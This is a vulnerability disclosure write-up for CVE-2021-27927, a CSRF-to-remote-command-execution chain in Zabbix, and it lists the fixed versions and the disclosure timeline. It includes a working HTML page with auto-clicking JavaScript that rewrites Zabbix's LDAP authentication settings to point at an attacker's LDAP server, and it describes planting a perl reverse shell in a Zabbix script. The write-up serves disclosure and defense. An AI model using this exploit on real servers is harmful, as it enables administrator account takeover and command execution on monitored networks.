CVE-2021-27927: CSRF to RCE Chain in Zabbix
Zabbix is an enterprise IT network and application monitoring solution. In a routine review of its source code, we discovered a CSRF (cross-site request forgery) vulnerability in the authentication component of the Zabbix UI. Using this vulnerability, an unauthenticated attacker can take over the Zabbix administrator's account if the attacker can persuade the Zabbix administrator to follow a malicious link. This vulnerability is exploitable in all browsers even with the default
SameSite=Lax cookie protection in place. The vulnerability is fixed in Zabbix versions 4.0.28rc1, 5.0.8rc1, 5.2.4rc1, and 5.4.0alpha1.
The impact of this vulnerability is high. While user interaction is required to exploit the vulnerability, the consequence of a successful exploit is full takeover of the Zabbix administrator account. Administrative access to Zabbix provides attackers a wealth of information about other devices on the network and the ability to execute arbitrary commands on the Zabbix server. In certain configurations, attackers can also execute arbitrary commands on hosts being monitored by Zabbix.
CVSS vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
As of this writing, there are ~20K instances of Zabbix on the Internet that can be found with the Shodan dork "html: Zabbix".
Upgrade to at least Zabbix version 4.0.28rc1, 5.0.8rc1, 5.2.4rc1, or 5.4.0alpha1.
A CSRF exploit works as follows:
First, a user (the victim) logs in to a vulnerable web site (the target). "Logged in" in this case simply means the user's browser has stored within it a valid session cookie or basic authentication credential for the target web site. The browser application doesn't necessarily need to be open.
Next, an attacker uses social engineering to persuade the victim user to follow a link to a malicious attacker-controlled web site. There are a variety of methods to achieve this such as phishing emails or links in chat, etc.
The malicious request lands at the target web application. The target web application can't tell that the request is coming from a malicious source. The target web application carries out the requested action on behalf of the attacker. CSRF attacks often try to abuse authentication-related actions such as creating or modifying users or changing passwords.
CSRF Attack Prevention
The most commonly used defense against CSRF attacks is to use anti-CSRF tokens. These tokens are randomly generated pieces of data that are sent as part of requests from an application's frontend code to the backend. The backend verifies both the anti-CSRF token and the user's session cookie. The token can be transferred as a HTTP header or in the request body, but not as a cookie. This method, if implemented correctly, defeats CSRF attacks because it becomes very difficult for attackers to craft forged requests that include the correct anti-CSRF token.
Zabbix uses an anti-CSRF token in the form of a
sid parameter that's passed in the request body. For instance the request to update the Zabbix Admin user's password to the value
zabbix1 looks like this:
This request fails if the
sid parameter is missing or incorrect.
Another measure that offers some protection against CSRF attacks is the
Same-Site cookie attribute. This is a setting that browsers use to determine when it's ok to transfer cookies as part of cross-site requests to a site. This attribute has three values:
Same-Site=Strict: Never send cookies as part of cross-site requests.
Same-Site=Lax: Only send cookies as part of cross-site requests if they are GET requests and effect a top-level navigation, i.e. result in a change to the browser's address bar. Clicking a link is considered a top-level navigation, while loading an image or script is not. GET requests are generally considered safe because they are not supposed to mutate any backend state.
Same-Site-None: Send cookies along for all cross-site requests.
Web application developers can choose to set the value of the
Same-Site attribute explicitly as part of sending a cookie to the front-end after a user authenticates. If the attribute is not set explicitly, modern browsers will default the value to
Lax. This is the case with Zabbix - the
Same-Site attribute is not set and it's defaulted to
As mentioned above, Zabbix uses anti-CSRF tokens, and these tokens are effective against CSRF attacks that attempt to exploit actions such as adding and modifying users and roles. However there was one important scenario we found in which anti-CSRF tokens were not being validated: an update to the application's authentication settings.
This form controls the type of authentication that is used to login to Zabbix, which can be one of "Internal" or "LDAP". In the event of LDAP, one can also set the details of the LDAP provider such as the LDAP host and port, base DN, etc.
The backend controller class CControllerAuthenticationUpdate that handles this form submission had token validation turned off, as shown below:
In addition, and just as important, we found that in Zabbix any parameters submitted in a request body via POST could equivalently be submitted as URL query parameters via a GET. This meant that the following forged GET request, which is missing the
sid parameter could work just as well as a legitimate POST request that contains the
The above request updates the authentication method to LDAP and sets various LDAP attributes.
To carry out a fully attack, an attacker would do the following:
First, set up an attacker-controlled LDAP server that is network accessible to the target Zabbix application. For our example, we used an Active Directory server at 10.0.229.1. We also provisioned a user called "Admin" (which matches the built-in Zabbix admin user name) inside Active Directory with the password "Z@bb1x!".
<html> <body> <p>Any web site</p> <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a> <script> document.getElementById('link').click(); </script> </body> </html>
Finally, entice the victim Zabbix Admin user to click on link to the malicious site. Once this happens, the Zabbix Admin would see that the authentication settings on the site were automatically updated like this:
At this point an attacker can log in with his/her own Admin user credential. Incidentally, the victim Zabbix Admin's session still remains valid until he/she logs out.
One interesting aspect of this particular CSRF attack is that it's not blind. This is because Zabbix validates the LDAP server connection using a test user and password as part of processing the authentication settings form submission. An attacker can know immediately if the CSRF attack was successful by virtue of the Zabbix application connecting to his/her own LDAP server. Once the test connection takes place, an attacker could automate logging into the victim's Zabbix server and carrying out further actions.
Remote Command Execution
Once an attacker has gained admin access, he/she can gain remote command execution privileges easily because it is a built-in feature of the product. The
Scripts section of the UI contains a place to drop in any commands to be executed on either the Zabbix server, a Zabbix server proxy, or a Zabbix agent (agents run on hosts being monitored by Zabbix).
For instance, to get a reverse shell on the Zabbix server, an attacker could modify the built-in
Detect Operating Systems script to include a perl reverse shell payload like this:
Then execute the script off the dashboard page:
To get reverse shell:
Depending on the configuration, an attacker can also run remote commands at the server proxy or agent. More details here from the Zabbix documentation.
- Jan. 3, 2021: Vulnerability disclosed to vendor
- Jan. 13, 2021: Vulnerability fixed in code by vendor
- Feb. 22, 2021: New releases made available by vendor across all supported versions
- Mar. 3, 2021: Public disclosure